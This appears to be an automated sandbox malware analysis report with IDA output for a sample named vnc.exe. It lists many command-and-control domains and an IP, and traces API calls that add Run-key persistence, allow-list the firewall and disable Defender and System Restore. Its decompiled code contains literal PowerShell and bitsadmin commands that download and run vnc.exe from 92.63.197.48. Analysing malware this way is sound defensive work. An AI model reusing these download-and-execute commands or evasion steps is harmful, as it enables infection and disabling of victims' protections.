UpdatesDisableNotify, xrefs: 00405BC7
http://inigbiseijfji.biz/, xrefs: 00405E15
http://iriototooeuwo.biz/, xrefs: 00405E33
m.exe, xrefs: 00405B59
http://iefigjgdidisi.biz/, xrefs: 00405DF7
http://iefigjgdidisi.su/, xrefs: 00405C67
http://iugouehoeohfh.com/, xrefs: 00405D7F
DisableAntiSpyware, xrefs: 00406642
http://iugouehoeohfh.ru/, xrefs: 00405BEF
http://iefigjgdidisi.com/, xrefs: 00405D93
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004063B7
%ls:*:Enabled:%s, xrefs: 004062D3
DisableAntiSpyware, xrefs: 0040666F
http://iriototooeuwo.net/, xrefs: 00405D6B
%userprofile%, xrefs: 00405B8B
DisableBehaviorMonitoring, xrefs: 00406791
http://nkihigheogojg.su/, xrefs: 00405CAD
Microsoft Windows Services, xrefs: 00405B40
http://92.63.197.48/, xrefs: 00405BE5
%ls\Users\All Users\Microsoft\Windows\Start Menu\%ls, xrefs: 00405FD9
http://eiisisiysjsif.net/, xrefs: 00405D61
http://nkihigheogojg.biz/, xrefs: 00405E3D
p.exe, xrefs: 00405B63
http://ouegouehouseh.biz/, xrefs: 00405E01
DisableBehaviorMonitoring, xrefs: 004067BE
http://eiisisiysjsif.in/, xrefs: 00405CFD
http://inigbiseijfji.info/, xrefs: 00405E79
http://inigbiseijfji.in/, xrefs: 00405CE9
http://iugouehoeohfh.biz/, xrefs: 00405DE3
%ls\%ls, xrefs: 0040608A
http://iefigjgdidisi.ru/, xrefs: 00405C03
http://udunfjgussiid.in/, xrefs: 00405CF3
http://riifndisojdoj.com/, xrefs: 00405DA7
http://iriototooeuwo.ru/, xrefs: 00405C3F
SOFTWARE\Policies\Microsoft\Windows Defender\, xrefs: 0040661D
%ls\%ls, xrefs: 0040613B
http://iefigjgdidisi.net/, xrefs: 00405D2F
DisableScanOnRealtimeEnable, xrefs: 00406728
http://riifndisojdoj.info/, xrefs: 00405E6F
http://udunfjgussiid.ru/, xrefs: 00405C2B
http://eiisisiysjsif.su/, xrefs: 00405C99
%temp%, xrefs: 00405B95
http://iugouehoeohfh.in/, xrefs: 00405CB7
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection, xrefs: 0040668E
http://inigbiseijfji.net/, xrefs: 00405D4D
http://riifndisojdoj.ru/, xrefs: 00405C17
DisableSR, xrefs: 004069C0
349050503030, xrefs: 00405B1E
http://udunfjgussiid.su/, xrefs: 00405C8F
http://ouegouehouseh.net/, xrefs: 00405D39
http://udunfjgussiid.biz/, xrefs: 00405E1F
DisableOnAccessProtection, xrefs: 00406773
http://ugoheoheufefu.com/, xrefs: 00405D89
DisableOnAccessProtection, xrefs: 00406746
UpdatesOverride, xrefs: 00405BA9
http://riifndisojdoj.net/, xrefs: 00405D43

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Sleep$FileValuememset$Close$OpenQuery$CreateInternet$Handle$Path_snwprintf$Process$AttributesExistsExitHttpInfoThread$Copy$EnvironmentExpandModuleStrings_snprintf$ErrorFolderLastName$AddressDeleteDirectoryExecuteFindMutexProcShellStartuprand
String ID: %ls:*:Enabled:%s$%ls:Zone.Identifier$%ls\%ls$%ls\%ls$%ls\%ls$%ls\T-495050303005030$%ls\Users\All Users\Microsoft\Windows\Start Menu\%ls$%s%s$%systemdrive%$%temp%$%userprofile%$%windir%$349050503030$AntiVirusDisableNotify$AntiVirusOverride$AutoUpdateDisableNotify$DisableAntiSpyware$DisableAntiSpyware$DisableBehaviorMonitoring$DisableBehaviorMonitoring$DisableOnAccessProtection$DisableOnAccessProtection$DisableSR$DisableSR$DisableScanOnRealtimeEnable$DisableScanOnRealtimeEnable$FirewallDisableNotify$FirewallOverride$G$G$Microsoft Windows Services$SOFTWARE\Microsoft\Security Center\$SOFTWARE\Microsoft\Security Center\Svc\$SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\$SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$SOFTWARE\Policies\Microsoft\Windows Defender\$SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection$SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection$SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesOverride$http://92.63.197.48/$http://eiisisiysjsif.biz/$http://eiisisiysjsif.com/$http://eiisisiysjsif.in/$http://eiisisiysjsif.info/$http://eiisisiysjsif.net/$http://eiisisiysjsif.ru/$http://eiisisiysjsif.su/$http://iefigjgdidisi.biz/$http://iefigjgdidisi.com/$http://iefigjgdidisi.in/$http://iefigjgdidisi.info/$http://iefigjgdidisi.net/$http://iefigjgdidisi.ru/$http://iefigjgdidisi.su/$http://inigbiseijfji.biz/$http://inigbiseijfji.com/$http://inigbiseijfji.in/$http://inigbiseijfji.info/$http://inigbiseijfji.net/$http://inigbiseijfji.ru/$http://inigbiseijfji.su/$http://iriototooeuwo.biz/$http://iriototooeuwo.com/$http://iriototooeuwo.in/$http://iriototooeuwo.info/$http://iriototooeuwo.net/$http://iriototooeuwo.ru/$http://iriototooeuwo.su/$http://iugouehoeohfh.biz/$http://iugouehoeohfh.com/$http://iugouehoeohfh.in/$http://iugouehoeohfh.info/$http://iugouehoeohfh.net/$http://iugouehoeohfh.ru/$http://iugouehoeohfh.su/$http://nkihigheogojg.biz/$http://nkihigheogojg.com/$http://nkihigheogojg.in/$http://nkihigheogojg.info/$http://nkihigheogojg.net/$http://nkihigheogojg.ru/$http://nkihigheogojg.su/$http://ouegouehouseh.biz/$http://ouegouehouseh.com/$http://ouegouehouseh.in/$http://ouegouehouseh.info/$http://ouegouehouseh.net/$http://ouegouehouseh.ru/$http://ouegouehouseh.su/$http://riifndisojdoj.biz/$http://riifndisojdoj.com/$http://riifndisojdoj.in/$http://riifndisojdoj.info/$http://riifndisojdoj.net/$http://riifndisojdoj.ru/$http://riifndisojdoj.su/$http://udunfjgussiid.biz/$http://udunfjgussiid.com/$http://udunfjgussiid.in/$http://udunfjgussiid.info/$http://udunfjgussiid.net/$http://udunfjgussiid.ru/$http://udunfjgussiid.su/$http://ugoheoheufefu.biz/$http://ugoheoheufefu.com/$http://ugoheoheufefu.in/$http://ugoheoheufefu.info/$http://ugoheoheufefu.net/$http://ugoheoheufefu.ru/$http://ugoheoheufefu.su/$m.exe$o.exe$p.exe$s.exe$t.exe$winsvcs.exe
API String ID: 2756291138-154482585
Opcode ID: cfb997567f9099b71708e82dc5fad6cab67a812b53119a73ea47f50817d666d3
Instruction ID: 1ea3f9336a1b27a5f0e0e718630268e8cb9790a403177bd2925e50b85b71fc23
Opcode Fuzzy Hash: cfb997567f9099b71708e82dc5fad6cab67a812b53119a73ea47f50817d666d3
Instruction Fuzzy Hash: 30923F71E44318AFDB209F50CD49BDA77B8AB04709F4041FAB209BA1D1D7B86A84CF5A

Uniqueness

Uniqueness Score: 100.00%

Function 004061A2, Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 181
registrysleepthreadUNIQUE

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004061CA
memset.MSVCRT ref: 004061E0
memset.MSVCRT ref: 004061F6
ExpandEnvironmentStringsW.KERNEL32(?,?,00000208), ref: 00406217
_snwprintf.MSVCRT ref: 00406235
_snwprintf.MSVCRT ref: 0040625C
PathFileExistsW.SHLWAPI(?), ref: 0040626B
PathFileExistsW.SHLWAPI(?), ref: 00406280
CreateDirectoryW.KERNELBASE(?,00000000), ref: 00406293
CopyFileW.KERNEL32(?,?,00000000), ref: 004062A9
Sleep.KERNEL32(000001F4), ref: 004062BA
_snwprintf.MSVCRT ref: 004062E4
SetFileAttributesW.KERNELBASE(?,00000007), ref: 00406394
SetFileAttributesW.KERNELBASE(?,00000007), ref: 004063A3
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run\,00000000,000F003F,?), ref: 004063C1
RegSetValueExW.KERNEL32(?,?,00000000,00000001,?,?), ref: 00406442
RegCloseKey.ADVAPI32(?), ref: 0040644E
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,000F003F,?), ref: 0040646C
RegSetValueExW.KERNEL32(?,?,00000000,00000001,?,?), ref: 004064ED
RegCloseKey.ADVAPI32(?), ref: 004064F9

Part of subcall function 004035DF: memset.MSVCRT ref: 004035EE
Part of subcall function 004035DF: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040362D
Part of subcall function 004035DF: Sleep.KERNEL32(000001F4,?,?,?), ref: 00403640
Part of subcall function 004035DF: ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00403656

Sleep.KERNELBASE(000001F4), ref: 00406511
ExitProcess.KERNEL32 ref: 00406519
Sleep.KERNEL32(000001F4), ref: 00406524
RegOpenKeyExW.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\,00000000,000F003F,?), ref: 00406542
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000), ref: 0040656A
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,?,?), ref: 004065F2
RegCloseKey.ADVAPI32(?), ref: 004065FE
Sleep.KERNEL32(000001F4), ref: 00406609
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\,00000000,000F003F,?), ref: 00406627
RegQueryValueExW.ADVAPI32(?,DisableAntiSpyware,00000000,?,00000000,00000000), ref: 0040664D
RegSetValueExW.ADVAPI32(?,DisableAntiSpyware,00000000,00000004,?,00000004), ref: 0040667A
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection,00000000,000F003F,?), ref: 00406698
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection,00000000,00000000,00000000,00020006,00000000,?,00000000), ref: 004066C2
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\,00000000,000F003F,?), ref: 004066E0
RegQueryValueExW.ADVAPI32(?,DisableScanOnRealtimeEnable,00000000,?,00000000,00000000), ref: 00406706
RegSetValueExW.ADVAPI32(?,DisableScanOnRealtimeEnable,00000000,00000004,?,00000004), ref: 00406733
RegQueryValueExW.ADVAPI32(?,DisableOnAccessProtection,00000000,?,00000000,00000000), ref: 00406751
RegSetValueExW.ADVAPI32(?,DisableOnAccessProtection,00000000,00000004,?,00000004), ref: 0040677E
RegQueryValueExW.ADVAPI32(?,DisableBehaviorMonitoring,00000000,?,00000000,00000000), ref: 0040679C
RegSetValueExW.ADVAPI32(?,DisableBehaviorMonitoring,00000000,00000004,?,00000004), ref: 004067C9
RegCloseKey.ADVAPI32(?), ref: 004067D5
RegCloseKey.ADVAPI32(?), ref: 004067E1
Sleep.KERNEL32(000001F4), ref: 004067EC
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center\,00000000,000F003F,?), ref: 0040680A
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000), ref: 00406857
RegSetValueExW.ADVAPI32(?,?,00000000,00000004,?,00000004), ref: 0040688C
RegCloseKey.ADVAPI32(?), ref: 0040689A
Sleep.KERNEL32(000001F4), ref: 004068A5
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center\Svc\,00000000,000F003F,?), ref: 004068C3
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000), ref: 00406910
RegSetValueExW.ADVAPI32(?,?,00000000,00000004,?,00000004), ref: 00406945
RegCloseKey.ADVAPI32(?), ref: 00406953
Sleep.KERNEL32(000001F4), ref: 0040695E
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\,00000000,000F003F,?), ref: 0040697C
RegQueryValueExW.ADVAPI32(?,DisableSR,00000000,?,00000000,00000000), ref: 0040699E
RegSetValueExW.ADVAPI32(?,DisableSR,00000000,00000004,?,00000004), ref: 004069CB
RegCloseKey.ADVAPI32(?), ref: 004069D7
Sleep.KERNEL32(000001F4), ref: 004069E2
CreateThread.KERNEL32(00000000,00000000,004041B2,00000000,00000000,00000000), ref: 004069F7
Sleep.KERNEL32(000001F4), ref: 00406A02
CreateThread.KERNEL32(00000000,00000000,00402689,00000000,00000000,00000000), ref: 00406A17
Sleep.KERNEL32(000001F4), ref: 00406A22
CreateThread.KERNEL32(00000000,00000000,004054CE,00000000,00000000,00000000), ref: 00406A37
Sleep.KERNEL32(000001F4), ref: 00406A42

Part of subcall function 00403527: memset.MSVCRT ref: 0040353E
Part of subcall function 00403527: memset.MSVCRT ref: 00403554
Part of subcall function 00403527: ExpandEnvironmentStringsW.KERNEL32(%appdata%,?,00000208), ref: 0040356D
Part of subcall function 00403527: _snwprintf.MSVCRT ref: 0040358B
Part of subcall function 00403527: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004035A9
Part of subcall function 00403527: GetLastError.KERNEL32 ref: 004035BE
Part of subcall function 00403527: CloseHandle.KERNEL32(000000FF), ref: 004035D5

Sleep.KERNEL32(000001F4), ref: 00406A59
CreateThread.KERNEL32(00000000,00000000,0040599A,00000000,00000000,00000000), ref: 00406A6E
Sleep.KERNEL32(000001F4), ref: 00406A79
Sleep.KERNEL32(000001F4), ref: 00406AA3

Part of subcall function 0040324B: memset.MSVCRT ref: 00403262
Part of subcall function 0040324B: _snprintf.MSVCRT ref: 0040327E
Part of subcall function 0040324B: InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000000,00000000,00000000,00000000), ref: 00403293
Part of subcall function 0040324B: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004032BD
Part of subcall function 0040324B: InternetCloseHandle.WININET(?), ref: 004032C9
Part of subcall function 0040324B: InternetCloseHandle.WININET(00000000), ref: 004032D5

Sleep.KERNEL32(000001F4), ref: 00406AC3
Sleep.KERNEL32(000001F4), ref: 00406ACE
Sleep.KERNEL32(000001F4), ref: 00406AFC
memset.MSVCRT ref: 00406B10
_snprintf.MSVCRT ref: 00406B36
Sleep.KERNEL32(000001F4), ref: 00406B66
memset.MSVCRT ref: 00406B7A
_snprintf.MSVCRT ref: 00406BA7

Part of subcall function 00402BE5: InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000001,00000000,00000000,00000000), ref: 00402BFB
Part of subcall function 00402BE5: InternetOpenUrlA.WININET(00000000,00406BBB,00000000,00000000,00000000,00000000), ref: 00402C1C
Part of subcall function 00402BE5: PathFindFileNameA.SHLWAPI(00406BBB), ref: 00402C32
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402CB9
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402D33
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402DAD
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402E27
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402EB0
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EB9
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EC2
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403238
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403241

CreateThread.KERNEL32(00000000,00000000,0040436A,?,00000000,00000000), ref: 00406BD7
rand.MSVCRT ref: 00406BE7
Sleep.KERNEL32 ref: 00406BFE

Strings

%ls\%ls, xrefs: 0040624B
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004063B7
%ls:*:Enabled:%s, xrefs: 004062D3
%ls\T-495050303005030, xrefs: 00406224
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00406462

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Sleep$Value$Close$OpenQuery$Internet$Creatememset$FileHandle$HttpInfoThread$_snwprintf$Path_snprintf$AttributesEnvironmentExistsExpandProcessStrings$CopyDirectoryErrorExecuteExitFindLastNameShellrand
String ID: %ls:*:Enabled:%s$%ls\%ls$%ls\T-495050303005030$SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\
API String ID: 3574863816-1008266862
Opcode ID: ae0ea84430afc78a697cb202f6755b4bf4b1d0f96c7f52bcab68a2fcfb17cd5c
Instruction ID: cc24a22daa74793900bfe8fe9ad6ad07151e187a64eaf83c41e9561dc631d106
Opcode Fuzzy Hash: ae0ea84430afc78a697cb202f6755b4bf4b1d0f96c7f52bcab68a2fcfb17cd5c
Instruction Fuzzy Hash: FC81D775D483289ADB20DB54CC45BDAB3B8FB08704F4041EAF60DA6691EB74ABC48F55

Uniqueness

Uniqueness Score: 100.00%

Function 00412C58, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 187librarymemoryloaderUNIQUE

APIs

GetCPInfoExW.KERNELBASE(00000000,00000000,?), ref: 00412CA7
SetConsoleOutputCP.KERNEL32(00000000), ref: 00412D06
GetModuleHandleA.KERNEL32(00419534), ref: 00412D1A
GetProcAddress.KERNEL32(00000000,VirtualAlloc), ref: 00412D4F
VirtualAlloc.KERNELBASE(00000000,00001000,00000040), ref: 00412D68
GetLastError.KERNEL32 ref: 00412D90
FindAtomA.KERNEL32(00000000), ref: 00412D97
GetCPInfoExW.KERNEL32(00000000,00000000,?), ref: 00412E3A
CompareStringW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412E46
WriteProfileSectionW.KERNEL32(004195B8,00419548), ref: 00412E85
ReportEventW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412E94

Strings

VirtualAlloc, xrefs: 00412D20
x4$, xrefs: 00412E55
I]>, xrefs: 00412D6C
{, xrefs: 00412E2B

Memory Dump Source

Source File: 00000001.00000001.309020421.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_40d000_vnc.jbxd

Similarity

API ID: Info$AddressAllocAtomCompareConsoleErrorEventFindHandleLastModuleOutputProcProfileReportSectionStringVirtualWrite
String ID: I]>$VirtualAlloc$x4$${
API String ID: 310522553-3448950543
Opcode ID: 667cb0bd296434aa0315061e7706b63968df125862c6e0eafe9ea82915469c61
Instruction ID: 6ec448516a2d2fec8c00abfb1502e9317c87781a397aa1ef5050f791d042e295
Opcode Fuzzy Hash: 667cb0bd296434aa0315061e7706b63968df125862c6e0eafe9ea82915469c61
Instruction Fuzzy Hash: 1961C7B1908380AEE311DB64EC45BEA7BA9EB44704F00843EF555C71E1D7B94985CB6E

Uniqueness

Uniqueness Score: 100.00%

Function 00401084, Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t39;
				intOrPtr* _t40;
				intOrPtr _t41;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t48;
				intOrPtr* _t54;
				intOrPtr _t57;
				intOrPtr _t60;

				_push(0xffffffff);
				_push(0x407220);
				_push(0x401210);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t57;
				_v28 = _t57 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x40ae68 =  *0x40ae68 | 0xffffffff;
				 *0x40ae6c =  *0x40ae6c | 0xffffffff;
				_t23 = __p__fmode();
				_t45 =  *0x40a9bc; // 0x0
				 *_t23 = _t45;
				_t24 = __p__commode();
				_t46 =  *0x40a9b8; // 0x0
				 *_t24 = _t46;
				 *0x40ae70 = _adjust_fdiv;
				_t27 = E00401203( *_adjust_fdiv);
				_t60 =  *0x40a010; // 0x1
				if(_t60 == 0) {
					__setusermatherr(E00401200);
				}
				E004011EE(_t27);
				_push(0x40a00c);
				_push(0x40a008);
				L004011E8();
				_t29 =  *0x40a9b4; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x40a9b0,  &_v112);
				_push(0x40a004);
				_push(0x40a000);
				L004011E8();
				_t54 =  *_acmdln;
				_v120 = _t54;
				if( *_t54 != 0x22) {
					while( *_t54 > 0x20) {
						_t54 = _t54 + 1;
						_v120 = _t54;
					}
				} else {
					do {
						_t54 = _t54 + 1;
						_v120 = _t54;
						_t41 =  *_t54;
					} while (_t41 != 0 && _t41 != 0x22);
					if( *_t54 == 0x22) {
						L6:
						_t54 = _t54 + 1;
						_v120 = _t54;
					}
				}
				_t36 =  *_t54;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t54);
				_push(0);
				_t39 = GetModuleHandleA(0);
				_push(_t39); // executed
				E00405AF4(); // executed
				_v108 = _t39;
				exit(_t39);
				_t40 = _v24;
				_t48 =  *((intOrPtr*)( *_t40));
				_v124 = _t48;
				_push(_t40);
				_push(_t48);
				L004011E2();
				return _t40;
			}

0x00401087
0x00401089
0x0040108e
0x00401099
0x0040109a
0x004010a7
0x004010ac
0x004010b1
0x004010b8
0x004010bf
0x004010c6
0x004010cc
0x004010d2
0x004010d4
0x004010da
0x004010e0
0x004010e9
0x004010ee
0x004010f3
0x004010f9
0x00401100
0x00401106
0x00401107
0x0040110c
0x00401111
0x00401116
0x0040111b
0x00401120
0x00401139
0x0040113f
0x00401144
0x00401149
0x00401156
0x00401158
0x0040115e
0x0040119a
0x0040119f
0x004011a0
0x004011a0
0x00401160
0x00401160
0x00401160
0x00401161
0x00401164
0x00401166
0x00401171
0x00401173
0x00401173
0x00401174
0x00401174
0x00401171
0x00401177
0x0040117b
0x00000000
0x00000000
0x00401181
0x00401188
0x00401192
0x004011a7
0x00401194
0x00401194
0x00401194
0x004011a8
0x004011a9
0x004011aa
0x004011ac
0x004011b2
0x004011b3
0x004011b8
0x004011bc
0x004011c2
0x004011c7
0x004011c9
0x004011cc
0x004011cd
0x004011ce
0x004011d5

APIs

__set_app_type.MSVCRT ref: 004010B1
__p__fmode.MSVCRT ref: 004010C6
__p__commode.MSVCRT ref: 004010D4
__setusermatherr.MSVCRT ref: 00401100

Part of subcall function 004011EE: _controlfp.MSVCRT ref: 004011F8

_initterm.MSVCRT ref: 00401116
__getmainargs.MSVCRT ref: 00401139
_initterm.MSVCRT ref: 00401149
GetStartupInfoA.KERNEL32(?), ref: 00401188
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004011AC

Part of subcall function 00405AF4: Sleep.KERNELBASE(000003E8,?,?,?,004011B8,00000000,?,0000000A), ref: 00405B08
Part of subcall function 00405AF4: Sleep.KERNELBASE(000003E8,?,?,?,004011B8,00000000,?,0000000A), ref: 00405B18

exit.MSVCRT ref: 004011BC
_XcptFilter.MSVCRT ref: 004011CE

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Sleep_initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherr_controlfpexit
String ID:
API String ID: 3521145008-0
Opcode ID: 5cb53401b591ffa9582074a2e4d9eccb6562fb4aed9a779df2214e56afcf27fa
Instruction ID: 5b05c07553ae178af4016a12da249ed315aa1a1b1608281c60f66531cbc15a50
Opcode Fuzzy Hash: 5cb53401b591ffa9582074a2e4d9eccb6562fb4aed9a779df2214e56afcf27fa
Instruction Fuzzy Hash: DE419FB1D04348AFDB249FA4DD45A6A7BB8FB09310F20423BF541BB2E1C7785840CB5A

Uniqueness

Uniqueness Score: 0.05%

Function 0002003C, Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 471
memorylibraryUNIQUE

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 000201B5
VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 000201F8
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00020358
LoadLibraryA.KERNEL32(?), ref: 00020408
LoadLibraryA.KERNEL32(msvcr100.dll), ref: 000207A9

Strings

kernel32.dll, xrefs: 00020089, 0002008F
cess, xrefs: 0002016F

Memory Dump Source

Source File: 00000001.00000002.324344684.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20000_vnc.jbxd

Similarity

API ID: Virtual$LibraryLoad$AllocFreeProtect
String ID: cess$kernel32.dll
API String ID: 2603362940-1230238691
Opcode ID: fddc5ec034c8a2bf376dfafa75bdf3f115134f85eeaf618fcd07844234ef8588
Instruction ID: 4d866d0358b3029fe5402029315dfa4cac42d9e72acc27ce4e4c1359195aa876
Opcode Fuzzy Hash: fddc5ec034c8a2bf376dfafa75bdf3f115134f85eeaf618fcd07844234ef8588
Instruction Fuzzy Hash: CF427AB4A00228DFDB64CF98D984B9CBBB5BF09304F5480D9E549AB352DB30AE85CF15

Uniqueness

Uniqueness Score: 100.00%

Function 00401717, Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 143
sleepUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00401717(intOrPtr _a4, signed char _a8, signed char _a12, signed char _a16) {
				intOrPtr _v8;
				char _v12;
				void _v196;
				signed int _v200;
				char _v201;
				char _v202;
				void _v340;
				intOrPtr* _v344;
				intOrPtr _v348;
				char _v349;
				intOrPtr _v356;
				intOrPtr* _v360;
				intOrPtr _v364;
				char _v365;
				intOrPtr _v372;
				intOrPtr* _v376;
				intOrPtr _v380;
				char _v381;
				intOrPtr _v388;
				char _t81;
				intOrPtr _t82;
				signed int _t128;
				void* _t140;
				void* _t141;
				void* _t143;

				_v202 = 0xff;
				_v201 = 0xd;
				_t81 = "cmd.exe"; // 0x2e646d63
				_v12 = _t81;
				_t82 =  *0x40738c; // 0x657865
				_v8 = _t82;
				_t128 = 0x2c;
				memcpy( &_v196, "PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile(\'http://92.63.197.48/vnc.exe\',\'%temp%\\853800385940.exe\');Start-Process \'%temp%\\853800385940.exe\'", _t128 << 2);
				asm("movsw");
				asm("movsb");
				_push(0x22);
				memcpy( &_v340, "bitsadmin /transfer getitman /download /priority high http://92.63.197.48/vnc.exe %temp%\\495050583930.exe&start %temp%\\495050583930.exe", 0 << 2);
				_t143 = _t141 + 0x18;
				if((_a8 & 0x000000ff) == 1) {
					_v200 = _v200 & 0x00000000;
					while(1) {
						_v344 =  &_v12;
						_v348 = _v344 + 1;
						do {
							_v349 =  *_v344;
							_v344 = _v344 + 1;
						} while (_v349 != 0);
						_v356 = _v344 - _v348;
						if(_v200 < _v356) {
							E004015DB(0, _a4, 0,  *(_t140 + _v200 - 8) & 0x000000ff, 2);
							_t143 = _t143 + 0x10;
							Sleep(0x23);
							_v200 = _v200 + 1;
							continue;
						}
						goto L7;
					}
				}
				L7:
				if((_a12 & 0x000000ff) == 1) {
					_v200 = _v200 & 0x00000000;
					while(1) {
						_v360 =  &_v340;
						_v364 = _v360 + 1;
						do {
							_v365 =  *_v360;
							_v360 = _v360 + 1;
						} while (_v365 != 0);
						_v372 = _v360 - _v364;
						if(_v200 < _v372) {
							E004015DB(0, _a4, 0,  *(_t140 + _v200 - 0x150) & 0x000000ff, 2); // executed
							_t143 = _t143 + 0x10;
							Sleep(0x23);
							_v200 = _v200 + 1;
							continue;
						}
						goto L14;
					}
				}
				L14:
				if((_a16 & 0x000000ff) == 1) {
					_v200 = _v200 & 0x00000000;
					while(1) {
						_v376 =  &_v196;
						_v380 = _v376 + 1;
						do {
							_v381 =  *_v376;
							_v376 = _v376 + 1;
						} while (_v381 != 0);
						_v388 = _v376 - _v380;
						if(_v200 < _v388) {
							E004015DB(0, _a4, 0,  *(_t140 + _v200 - 0xc0) & 0x000000ff, 2);
							_t143 = _t143 + 0x10;
							Sleep(0x23);
							_v200 = _v200 + 1;
							continue;
						}
						goto L21;
					}
				}
				L21:
				Sleep(0x1f4);
				return E004015DB(0, _a4, _v202, _v201, 2);
			}

0x00401722
0x00401729
